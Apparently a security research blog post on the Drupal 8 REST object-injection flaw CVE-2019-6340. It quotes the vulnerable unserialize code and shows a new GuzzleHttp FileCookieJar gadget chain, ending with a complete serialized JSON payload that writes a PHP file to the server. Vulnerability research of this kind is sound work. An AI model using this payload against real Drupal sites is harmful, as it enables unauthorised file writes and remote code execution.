Summary
In February 2019, Samuel Mortenson from Drupal security team discovered a critical vulnerability in this CMS, identified as CVE-2019-6340 or SA-CORE-2019-003 . This vulnerability is a kind of object injection vulnerability which my colleague mentioned in a previous research.
According to the original research, this vulnerability enables a remote code execution attack by taking advantage of the existence of module RESTful Web Services
and the acceptance of HTTP method GET, PATCH and POST. I have found another way to exploit this vulnerability and will cover the following details.
The original research
Let take a look at object injection vulnerability, in order to exploit this flaw, the target have to:
- own an
unserialize
function and its input can be controlled by attackers
- own an magic method (
destruct()
,wakeup()
) which carry out dangerous statements.
In Drupal version 8, we have such a unserialize
function in LinkItem class
// Treat the values as property value of the main property, if no array is // given. if (isset($values) && !is_array($values)) { $values = [static::mainPropertyName() => $values]; } if (isset($values)) { $values += [ 'options' => [], ]; } // Unserialize the values. // @todo The storage controller should take care of this, see // SqlContentEntityStorage::loadFieldItems, see // https://www.drupal.org/node/2414835 if (is_string($values['options'])) { $values['options'] = unserialize($values['options']); } parent::setValue($values, $notify); } }
Luckily, the $values['options']
is a value passed from client via API endpoint so anyone can control it, thanks RESTful Web Services for this feature.
Regarding the magic method, Samuel Mortenson used a destruct function in Fnstream.php , in which call_user_func
can can execute any php function as its input.
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
Finally, attackers can build an RCE payload as follows (PHPGGC helped us in this work)
[h]
Another attack vector[/h]
Based on the original idea, I tried to find another magic method in Drupal. By grepping
, I found that FileCookieJar.php is also a great alternative. Its destruct method is not able to directly execute commands, but can write files and execute commands through those files.
public function __destruct() { $this->save($this->filename); } /** * Saves the cookies to a file. * * @param string $filename File to save * @throws \RuntimeException if the file cannot be found or created */ public function save($filename) { $json = []; foreach ($this as $cookie) { /** @var SetCookie $cookie */ if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { $json[] = $cookie->toArray(); } } $jsonStr = \GuzzleHttp\json_encode($json); if (false === file_put_contents($filename, $jsonStr)) { throw new \RuntimeException("Unable to save file {$filename}"); } } ```
This method requires two parameters. The first is a local file and the second is a destination path (we must know the full path).
My payload is simply create a phpinfo file in the target, it is as follows
{ "link": [ { "value": "link", "options": "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:42:\"\/Users\/duy\/Desktop\/drupal-8.6.9\/hacked.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:18:\"<?php phpinfo();?>\";}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";N;}" } ], "_links": { "type": { "href": "http://domain.tld/drupal-8.6.9/rest/type/shortcut/default" } } }
I got the result